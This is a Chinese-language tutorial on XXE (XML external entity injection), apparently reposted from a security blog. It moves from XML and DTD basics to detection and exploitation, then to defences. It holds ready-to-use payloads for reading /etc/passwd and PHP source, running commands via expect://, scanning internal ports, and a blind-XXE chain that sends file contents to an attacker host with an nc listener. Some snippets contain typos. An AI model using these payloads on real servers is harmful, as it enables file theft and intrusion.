[WEB安全]XXE漏洞總結


0x00 XML基礎

在介紹xxe漏洞前,先學習溫顧一下XML的基礎知識。XML被設計為傳輸和存儲數據,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟件和硬件的信息傳輸工具。

0x01 XML文檔結構

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

<!--XML申明-->
<?xml version="1.0"?> 
<!--文檔類型定義-->
<!DOCTYPE note [  <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)>  <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)>     <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)>   <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)>   <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)>   <!--定義body元素為”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

由於xxe漏洞與DTD文檔相關,因此重點介紹DTD的概念。

0x02 DTD

文檔類型定義(DTD)可定義合法的XML文檔構建模塊,它使用一系列合法的元素來定義文檔的結構。DTD 可被成行地聲明於XML文檔中(內部引用),也可作為一個外部引用。

1、內部聲明DTD:
<!DOCTYPE 根元素 [元素聲明]>

2、引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文檔中有很多重要的關鍵字如下:

  • DOCTYPE(DTD的聲明)
  • ENTITY(實體的聲明)
  • SYSTEM、PUBLIC(外部資源申請)

0x03 實體

實體可以理解為變量,其必須在DTD中定義申明,可以在文檔中的其他位置引用該變量的值。實體按類型主要分為以下四種:

  • 內置實體 (Built-in entities)
  • 字符實體 (Character entities)
  • 通用實體 (General entities)
  • 參數實體 (Parameter entities)

實體根據引用方式,還可分為內部實體與外部實體,看看這些實體的申明方式。
完整的實體類別可參考 DTD - Entities(https://www.tutorialspoint.com/dtd/dtd_entities.htm)

3.1 實體類別介紹

參數實體用%實體名稱申明,引用時也用%實體名稱;其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;其余實體只能在DTD中申明,可在xml文檔中引用。

(1)內部實體:

<!ENTITY 實體名稱 "實體的值">

(2)外部實體:

<!ENTITY 實體名稱 SYSTEM "URI">

(3)參數實體:

<!ENTITY % 實體名稱 "實體的值">
或者
<!ENTITY % 實體名稱 SYSTEM "URI">

(4)實例演示:除參數實體外實體+內部實體

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "This is a xxe test!">]>
<foo>
<value>&name;</value>
</foo>

(5)實例演示:參數實體+外部實體

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意:%name(參數實體)是在 DTD 中被引用的,而 &name(其余實體)是在xml文檔中被引用的。
由於xxe漏洞主要是利用了 DTD 引用外部實體導致的漏洞,那么重點看下能引用哪些類型的外部實體。

3.2 外部實體外部實體即在DTD中使用

<!ENTITY 實體名稱 SYSTEM "URI">

語法引用外部的實體,而非內部實體,那么URI中能寫哪些類型的外部實體呢?
主要的有file、http、https、ftp等等,當然不同的程序支持的不一樣:

實例演示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<foo>
<value>&name;</value>
</foo>

0x04 XXE漏洞

XXE漏洞全稱XML External Entity Injection
即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。

xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。

4.1 XXE漏洞檢測

第一步檢測XML是否會被成功解析:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "my name is nMask">]>    
<root>&name;</root>

如果頁面輸出了my name is nMask,說明xml文件可以被解析。

第二步檢測服務器是否支持DTD引用外部實體:

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://localhost/index.html">  
%name;  
]>

可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求test.xml的請求。

如果支持引用外部實體,那么很有可能是存在xxe漏洞的。

4.2 漏洞利用

xxe漏洞的危害有很多,比如可以文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等

4.2.1 讀取任意文件

由於我是在windows上做的測試,因此讓其讀取c盤下的test.txt文件內容。

如果是linux下,可以讀取/etc/passwd等目錄下敏感數據。
以上任意文件讀取能夠成功,除了DTD可有引用外部實體外,還取決於有輸出信息,即有回顯。

4.2.2 獲取頁面源碼
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

返回的base64編碼,即為index.php的源碼

4.2.3 執行系統命令

在特殊的配置環境下,如PHP環境中PHP的expect模塊被加載到了易受攻擊的系統或者能處理XML的應用中,就能執行命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
4.2.4 blind xxe漏洞

對於傳統的XXE來說,要求攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外信道提取數據。
創建test.php寫入以下內容:

<?php  
file_put_contents("test.txt", $_GET['file']) ;  
?>

創建index.php寫入以下內容:

<?php  
$xml=<<<EOF  
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///C:/test.txt">  
<!ENTITY % remote SYSTEM "http://localhost/test.xml">  
%remote;
%all;
%send;  
]>  
EOF;  
$data = simplexml_load_string($xml) ;  
echo "<pre>" ;  
print_r($data) ;  
?>

創建test.xml並寫入以下內容:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

當訪問http://localhost/index.php, 存在漏洞的服務器會讀出text.txt內容,發送給攻擊者服務器上的test.php,然后把讀取的數據保存到本地的test.txt中。

0x05 尋找 XML 輸入點

比如 Content-Type:text/xml, post 的數據包含 XML 格式,如:

<forgot><username>admin</username></forgot>

請求頭中添加 Content-Type:text/xmlContent-type:application/xml

同時,POST 中添加 payload :

#任意文件讀取(有回顯)
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>


#無回顯的情況,使用外帶數據通道提取數據,先用 file:// 或 php://filter 獲取目標文件的內容,然后將內容以 http 請求發送到接收數據的服務器(攻擊服務器):
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

#evil.dtd的內容:(內部的 % 號要進行實體編碼成 %)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>">

#最后用nc進行本地監聽
nc -lvv 9999


#命令執行 ( PHP 要開啟 PECL 上的 Expect 擴展)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "expect://whoami">
]>


#測試后端服務器的開放端口 
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY portscan SYSTEM "http://192.168.1.5:3389">
]>
#通過返回的 “Connection refused” 可以知道該 81 端口是 closed 的,而 80 端口是open的

0x06 XXE漏洞修復與防御

6.1 禁用外部實體

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

6.2 過濾用戶提交的XML數據

過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

0x07 參考鏈接

https://www.cnblogs.com/-zhong/p/11194080.html
https://www.cnblogs.com/r00tuser/p/7255939.html#top
https://blog.csdn.net/Fly_hps/article/details/85228722

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

https://mp.weixin.qq.com/s?__biz=MzIwMDY0ODI5Mw==&mid=2247490379&idx=1&sn=d6039c1afbaa55508eec82bbbb94e0b0&chksm=96f8a841a18f2157b60ed90e256bd9ed6dfd88a6ff62a48f8553ee4b2e8293026b63e94e000d&mpshare=1&scene=23&srcid=&sharer_sharetime=1567525313098&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM